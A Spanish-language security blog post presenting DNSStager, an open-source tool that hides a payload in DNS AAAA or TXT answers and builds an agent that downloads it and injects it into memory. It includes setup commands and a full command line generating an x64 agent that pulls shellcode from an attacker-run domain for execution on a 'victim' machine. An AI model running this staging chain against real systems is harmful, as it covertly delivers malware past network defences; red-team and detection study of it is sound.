En el blog hemos visto varias veces el uso de un canal DNS para exfiltrar información (DNSBin o browsertunnel), hacer un túnel (XFLTReaT) o incluso un backdoor capaz de recibir comandos y scripts de powershell mediante el módulo DNS_TXT_Pwnage de nishang. Pues bien, hoy os traemos DNSStager, un proyecto de código abierto en Python que también utiliza DNS como covert channel esta vez para ocultar y transferir cualquier payload.
DNSStager creará un servidor DNS malicioso que gestiona las peticiones DNS a su dominio y devuelve el payload como respuesta a solicitudes de registro específicas, como registros AAAA o TXT, después de dividirlo en trozitos o chunks y encodear el payload utilizando diferentes algoritmos (XOR para AAAA o base64 para TXT).
Por ejemplo, si elegimos IPV6 como opción para obtener el payload, la respuesta DNS será algo como:
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
donde 5648:31d2:6548:8b52:6048:8b52:1848:8b52
es parte del payload.
DNSStager puede generar un agente personalizado escrito en C o GoLang que resolverá una secuencia de dominios, recuperará el payload, la decodificará y finalmente la inyectará en la memoria según la técnica que se desee.
Instalación
Empezamos clonando el repositorio:
$ git clone https://github.com/mhaskar/DNSStager.git
Como siempre, podemos instalar los requisitos de Python de DNSStager con el comando:
$ pip3 install -r requirements.txt
Luego demos instalar la versión 1.16.3 de GoLang y asegurarnos de instalar los siguientes paquetes de GoLang:
- golang.org/x/sys
- github.com/miekg/dns
Además, tenemos que instalar ming-w64 mediante:
$ apt install mingw-w64
También podemos lanzar el setup.sh
directamente.
El siguiente paso será asegurarnos que la máquina en la que tenemos DNSStager sea también el servidor DNS donde llegará cualquier solicitud del dominio que elijamos. Crearemos cualquier subdominio donde estará nuestro DNSStager escuchando y el registro NS correspondiente:
Ahora simplemente tendremos que ejecutar el comando con los parámetros apropiados. Por ejemplo, con el siguiente se generará un agente en C (x64) encodeado con la clave 0x10 y DNSStager servirá el payload usando registros AAAA (IPv6) hacia el dominio test.mydnsserver.live con el prefijo 'cloud-srv-'
$ sudo ./dnsstager.py --domain test.mydnsserver.live --payload
x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path
~/payload.bin --sleep 1 --xorkey 0x10
Si todo ha ido bien, podremos ejecutar a2.exe en la máquina de la víctima y se descargará todos los chunks del payload necesarios hasta completarlo e inyectarlo en memoria.Otro ejemplo con Cobalt:
Proyecto: https://github.com/mhaskar/DNSStager
Comentarios
Publicar un comentario